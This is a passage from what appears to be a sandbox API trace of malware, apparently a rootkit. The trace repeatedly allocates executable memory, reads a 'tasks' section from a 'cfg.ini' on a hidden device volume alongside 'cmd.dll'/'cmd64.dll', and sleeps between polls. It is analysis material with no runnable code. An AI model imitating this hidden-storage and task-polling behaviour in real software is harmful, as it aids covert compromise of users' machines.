_MaxCount=0x10) returned 7 [0121.300] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.300] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.300] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.300] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba4b0 [0121.300] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.300] KeLeaveCriticalRegion () [0121.300] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.300] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.300] KeEnterCriticalRegion () [0121.300] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.300] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.300] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.300] KeLeaveCriticalRegion () [0121.300] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.300] KeEnterCriticalRegion () [0121.300] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.300] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.300] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.300] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.300] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.300] IdePortDispatch () returned 0x103 [0121.300] KeWaitForMutexObject () returned 0x0 [0121.300] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.300] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.300] KeLeaveCriticalRegion () [0121.300] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.301] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.301] KeEnterCriticalRegion () [0121.301] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.301] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000a02000 [0121.301] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.301] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.301] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.301] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.301] IdePortDispatch () returned 0x103 [0121.301] KeWaitForMutexObject () returned 0x0 [0121.301] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.301] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.301] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.301] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.301] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.301] IdePortDispatch () returned 0x103 [0121.301] KeWaitForMutexObject () returned 0x0 [0121.301] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.301] KeLeaveCriticalRegion () [0121.301] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.302] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.302] KeEnterCriticalRegion () [0121.302] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.302] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.302] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.302] KeLeaveCriticalRegion () [0121.302] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.302] KeEnterCriticalRegion () [0121.302] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.302] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.302] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc38b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.302] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.302] KeLeaveCriticalRegion () [0121.302] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.302] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.302] KeEnterCriticalRegion () [0121.302] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.302] ExFreePoolWithTag (P=0xfffffa8003bba4b0, Tag=0x0) [0121.302] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.302] KeLeaveCriticalRegion () [0121.302] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.302] ReleaseMutex (hMutex=0xf0) returned 1 [0121.302] Sleep (dwMilliseconds=0x927c0) [0121.322] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.322] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.322] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.322] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.322] KeEnterCriticalRegion () [0121.322] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.322] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.322] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.322] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.322] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.322] IdePortDispatch () returned 0x103 [0121.322] KeWaitForMutexObject () returned 0x0 [0121.323] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.323] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.323] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.323] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.323] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.323] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4f10 [0121.323] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.323] KeLeaveCriticalRegion () [0121.323] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.323] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.323] KeEnterCriticalRegion () [0121.323] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.323] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.323] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.323] KeLeaveCriticalRegion () [0121.323] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.323] KeEnterCriticalRegion () [0121.323] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.323] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.323] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.323] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.323] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.323] IdePortDispatch () returned 0x103 [0121.323] KeWaitForMutexObject () returned 0x0 [0121.323] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.323] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.323] KeLeaveCriticalRegion () [0121.323] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.323] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.323] KeEnterCriticalRegion () [0121.323] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.323] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b07000 [0121.323] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.323] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.324] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.324] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.324] IdePortDispatch () returned 0x103 [0121.324] KeWaitForMutexObject () returned 0x0 [0121.324] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.324] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.324] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.324] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.324] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.324] IdePortDispatch () returned 0x103 [0121.324] KeWaitForMutexObject () returned 0x0 [0121.324] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.324] KeLeaveCriticalRegion () [0121.324] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.325] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.325] KeEnterCriticalRegion () [0121.325] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.325] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.325] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.325] KeLeaveCriticalRegion () [0121.325] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.325] KeEnterCriticalRegion () [0121.325] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.325] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.325] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc4070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.325] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.325] KeLeaveCriticalRegion () [0121.325] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.325] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.325] KeEnterCriticalRegion () [0121.325] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.325] ExFreePoolWithTag (P=0xfffffa8003bc4f10, Tag=0x0) [0121.325] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.325] KeLeaveCriticalRegion () [0121.325] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.325] ReleaseMutex (hMutex=0xf0) returned 1 [0121.325] Sleep (dwMilliseconds=0x927c0) [0121.339] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.339] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.339] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.339] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.339] KeEnterCriticalRegion () [0121.339] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.339] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.339] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.339] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.339] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.339] IdePortDispatch () returned 0x103 [0121.339] KeWaitForMutexObject () returned 0x0 [0121.339] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.339] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.339] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.339] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.339] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.339] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc39f0 [0121.339] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.339] KeLeaveCriticalRegion () [0121.340] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.340] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.340] KeEnterCriticalRegion () [0121.340] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.340] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.340] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.340] KeLeaveCriticalRegion () [0121.340] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.340] KeEnterCriticalRegion () [0121.340] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.340] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.340] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.340] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.340] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.340] IdePortDispatch () returned 0x103 [0121.340] KeWaitForMutexObject () returned 0x0 [0121.340] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.340] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.340] KeLeaveCriticalRegion () [0121.340] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.340] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.340] KeEnterCriticalRegion () [0121.340] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.340] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b0c000 [0121.340] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.340] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.340] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.340] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.340] IdePortDispatch () returned 0x103 [0121.340] KeWaitForMutexObject () returned 0x0 [0121.341] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.341] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.341] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.341] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.341] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.341] IdePortDispatch () returned 0x103 [0121.341] KeWaitForMutexObject () returned 0x0 [0121.341] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.341] KeLeaveCriticalRegion () [0121.341] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.341] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.341] KeEnterCriticalRegion () [0121.341] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.341] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.341] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.341] KeLeaveCriticalRegion () [0121.342] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.342] KeEnterCriticalRegion () [0121.342] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.342] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.342] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc38b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.342] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.342] KeLeaveCriticalRegion () [0121.342] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.342] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.342] KeEnterCriticalRegion () [0121.342] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.342] ExFreePoolWithTag (P=0xfffffa8003bc39f0, Tag=0x0) [0121.342] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.342] KeLeaveCriticalRegion () [0121.342] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.342] ReleaseMutex (hMutex=0xf0) returned 1 [0121.342] Sleep (dwMilliseconds=0x927c0) [0121.357] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.357] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.357] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.357] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.357] KeEnterCriticalRegion () [0121.357] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.357] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.357] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.357] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.357] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.357] IdePortDispatch () returned 0x103 [0121.357] KeWaitForMutexObject () returned 0x0 [0121.357] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.357] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.357] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.357] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.357] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.357] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4770 [0121.357] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.357] KeLeaveCriticalRegion () [0121.357] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.357] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.357] KeEnterCriticalRegion () [0121.357] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.358] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.358] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.358] KeLeaveCriticalRegion () [0121.358] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.358] KeEnterCriticalRegion () [0121.358] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.358] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.358] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.358] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.358] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.358] IdePortDispatch () returned 0x103 [0121.358] KeWaitForMutexObject () returned 0x0 [0121.358] _strnicmp (_Str1="cfg.ini", 